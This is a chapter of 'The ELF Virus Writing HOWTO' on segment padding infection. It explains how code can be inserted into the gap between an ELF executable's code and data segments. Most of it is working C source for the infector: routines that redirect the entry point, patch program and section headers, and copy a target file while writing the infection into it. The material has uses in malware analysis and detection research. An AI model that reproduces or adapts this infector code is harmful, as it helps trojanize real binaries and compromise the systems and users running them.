The ELF Virus Writing HOWTO: Introduction
Prev |  | Next

# 4. Segment padding infection (i)

| I am extremely surprised and pleased. I'm surprised because as far as I am concerned I have always done what I wanted to do and followed my own way. Really, the honour has as much to do with Paddington as myself.
| Michael Bond, creator of "Paddington Bear", on receiving an OBE

This infection method got a lot of press under the name Remote shell trojan (RST) (i). It is based on a pecularity described in the platform specific part, Segment padding infection. On i386 its future is bleak. It seems that the gap is beeing actively closed. On Slackware 8.1 and Red Hat 8.0 `/bin/bash` is not vulnerable anymore. On other platforms the gap is much larger and will probably remain.

Read Segment padding infection before you continue and see there for the results of the code following below.

Table 1. Platform specific defaults of ELF

Platform | Address size | Offset | Base address | Alignment | _SC_PAGESIZE | Byte order
--- | --- | --- | --- | --- | --- | ---
`alpha` | `64` | `0x00000000` | `0x120000000` | `0x10000` | `0x2000` | `L`
`i386` | `32` | `0x00000000` | `0x08048000` | `0x1000` | `0x1000` | `L`
`sparc` | `32` | `0x00000000` | `0x00010000` | `0x10000` | `0x1000` | `M`

`_SC_PAGESIZE` is a hardware constant and nothing compiler vendors choose. On the other hand column "Alignment" varies from challengingly tiny to exceedingly large. A quote from the ELF specification: [4]

> […] executable and shared object files must have segment images whose file offsets and virtual addresses are congruent, modulo the page size. Virtual addresses and file offsets for the SYSTEM V architecture segments are congruent modulo 4 KB (0x1000) or larger powers of 2. Because 4 KB is the maximum page size, the files will be suitable for paging regardless of physical page size. […]

This means that for every segment the last three digits of `Offset` equal the last three digits of `VirtAddr` in every healthy output of `readelf` and `objdump`. So unless we change `VirtAddr` as well - which means enormous trouble like relocation of every access to a global variable - we are stuck with allocating memory in chunks of `_SC_PAGESIZE`. By the way, that value is returned by sysconf(3).

Source: src/segment_padding/sysconf.c

    #include <stdio.h>
    #include <unistd.h>

    #define QUERY(n)	{ #n, n }

    struct Query
    {
      const char* name;
      int key;
    } Query[] =
    {
      QUERY(_SC_CLK_TCK),
      QUERY(_SC_VERSION),
      QUERY(_SC_PAGESIZE),
    #ifdef __linux__
      QUERY(_SC_PHYS_PAGES),
      QUERY(_SC_AVPHYS_PAGES),
    #endif
      { 0, 0 }
    };

    int main()
    {
      const struct Query* q = Query;
      for(; q->name != 0; q++)
        printf("%s=%ld\n", q->name, sysconf(q->key));
      return 0;
    }

Obviously the output is platform dependent. See Segment padding infection if you are curious. Anyway, using free space resulting from alignment is problematic on i386 but comfortable on the other platforms. Scan segment padding is used to verify the existence of this gap. The output of that is again at Segment padding infection.

## 4.1. The plan

1. Insert our code between code segment and data segment.

2. Modify inserted code to jump to original entry point afterwards.

3. Change entry point to start of our code.

4. Modify program header

   1. Include increased amount of code in entry of code segment.

   2. Move all following entries down the file.

5. Modify section header

   1. Include trailing code in last section of code segment (should be `.rodata`).

   2. Move all following sections down the file.

This setup has a few problems.

- Storage can be acquired only in multiples of `_SC_PAGESIZE`. This makes the increment in file size of the target quite noticeable.

- Code size is limited. On i386 the segment alignment equals the page size, so we rely on a the existance of a strange extra gap to get a maximum of one page. On other platforms the alignment is much larger, so we have a good chance to get at least one page even without the extra gap.

- Maximum code size is further restricted by code alignment. The i386 and descendants can execute misaligned code, though with a performance penalty; and this can be detected at run time by the operating system. Other hardware does not allow it at all.

- On i386 infected executables will be detected by Scan segment padding. Unfortunately this crude method cannot tell whether the gap was never there or is really occupied by an infection.

## 4.2. target_new_entry_addr

Source: src/one_step_closer/new_entry_addr.inc

    unsigned target_new_entry_addr(const Target* t)
    {
      TRACE(stderr, "target_new_entry_addr\n");

      /* matches with aligned_end_of_cs */
      return ALIGN_UP(t->phdr[2].p_vaddr + t->phdr[2].p_filesz);
    }

## 4.3. target_patch_phdr

Source: src/one_step_closer/patch_phdr.inc

    bool target_patch_phdr(Target* t)
    {
      Elf32_Phdr* entry;
      size_t delta; /* distance between code and data segment (in memory) */
      unsigned end_of_cs;
      unsigned nr;

      TRACE(stderr, "target_patch_phdr\n");

      entry = t->phdr;
      delta = entry[3].p_vaddr - entry[2].p_vaddr - entry[2].p_memsz;
      CHECK_LT(TEVWH_PAGESIZE, delta);

      entry[2].p_filesz += TEVWH_PAGESIZE;
      entry[2].p_memsz += TEVWH_PAGESIZE;

      end_of_cs = t->end_of_cs;
      for(nr = t->p.ehdr->e_phnum; nr > 0; nr--, entry++)
      {
        /* ">=" instead of ">" is necessary at least on sparc-suse7.3 */
        if (entry->p_offset >= end_of_cs)
          entry->p_offset += TEVWH_PAGESIZE;
      }
      return true;
    }

## 4.4. target_patch_shdr

Source: src/one_step_closer/patch_shdr.inc

    bool target_patch_shdr(Target* t)
    {
      Elf32_Shdr* shdr;
      unsigned end_of_cs;
      unsigned nr;

      TRACE(stderr, "patchShdr\n");

      shdr = (Elf32_Shdr*)(t->p.b + t->p.ehdr->e_shoff);
      end_of_cs = t->end_of_cs;
      for(nr = t->p.ehdr->e_shnum; nr > 0; nr--, shdr++)
      {
        if (shdr->sh_offset >= end_of_cs)
        {
          /* move all following sections down */
          shdr->sh_offset += TEVWH_PAGESIZE;
        }
        else if (shdr->sh_offset + shdr->sh_size == end_of_cs)
        {
          /* increase length of last section of code-segment (.rodata) */
          shdr->sh_size += TEVWH_PAGESIZE;
        }
      }
      t->p.ehdr->e_shoff += TEVWH_PAGESIZE;
      return true; /* this implementation can't fail */
    }

## 4.5. target_copy_and_infect

Source: src/one_step_closer/copy_and_infect.inc

    bool target_copy_and_infect(Target* t)
    {
      ssize_t size;
      off_t off;
      unsigned code_size;

      TRACE(stderr, "target_copy_and_infect\n");

      /* first part of original target */
      size = write(t->fd_dst, t->p.b, t->end_of_cs);
      CHECK_EQ(size, t->end_of_cs);

      TRACE(stderr, "end_of_cs=%08x aligned_end_of_cs=%08x\n",
        t->end_of_cs, t->aligned_end_of_cs);

      off = lseek(t->fd_dst, t->aligned_end_of_cs, SEEK_SET);
      CHECK_EQ(off, t->aligned_end_of_cs);

      code_size = target_write_infection(t);
      fprintf(stderr, "wrote %u bytes, ", code_size);
      off = lseek(t->fd_dst, t->end_of_cs + TEVWH_PAGESIZE, SEEK_SET);
      CHECK_EQ(off, t->end_of_cs + TEVWH_PAGESIZE);

      /* rest of original target */
      size = write(t->fd_dst, t->p.b + t->end_of_cs, t->filesize - t->end_of_cs);
      CHECK_EQ(size, t->filesize - t->end_of_cs);
      return true;
    }

Prev | Home | Next
One step closer to the edge (i) |  | Remote shell trojan (RST) (i)